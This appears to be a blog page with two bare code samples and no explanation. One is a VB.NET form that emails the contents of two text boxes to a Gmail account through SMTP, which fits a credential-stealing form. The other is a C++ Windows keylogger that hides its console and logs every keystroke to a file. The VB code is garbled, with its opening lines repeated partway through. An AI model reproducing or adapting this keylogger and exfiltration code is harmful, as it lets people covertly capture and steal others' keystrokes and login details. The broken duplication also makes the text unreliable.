Imports System.Net.Mail Public Class Form1 Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load End Sub Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Dim MyMailMessage As New MailMessage() Try MyMailMessage.From = New MailAddress(Imports System.Net.Mail Public Class Form1 Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load End Sub Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Dim MyMailMessage As New MailMessage() Try MyMailMessage.From = New MailAddress(GMAIL ACCOUNT) MyMailMessage.To.Add(GMAIL ACCOUNT) MyMailMessage.Subject = "_______" MyMailMessage.Body = "______ " & TextBox1.Text & "_______" & TextBox2.Text Dim SMTP As New SmtpClient("smtp.gmail.com") SMTP.Port = 587 SMTP.EnableSsl = True SMTP.Credentials = New System.Net.NetworkCredential(GMAIL ACCOUNT, GMAIL PASSWORD) SMTP.Send(MyMailMessage) Catch ex As Exception End Try End Sub End Class #include <Windows.h>
#include <iostream> using namespace std; int Save(int _key, char *file); int main() { char i; FreeConsole(); while (true) { Sleep(10); for (i = 8; i <= 255; i++) { if (GetAsyncKeyState(i) == -32767) { Save(i, "_______"); } } } return 0; } int Save(int _key, char *file) { cout << _key << endl; Sleep(10); FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); if (_key == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); else if (_key == VK_BACK) fprintf(OUTPUT_FILE, "%s", "[BACK]"); else if (_key == VK_LBUTTON) fprintf(OUTPUT_FILE, "%s", "[LBUTTON]"); else if (_key == VK_RETURN) fprintf(OUTPUT_FILE, "%s", "[RETURN]"); else if (_key == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); else fprintf(OUTPUT_FILE, "%s", &_key); fclose(OUTPUT_FILE); return 0; }
0 Comments
Leave a Reply. |
AuthorVitali Kremez Archives
January 2016
Categories |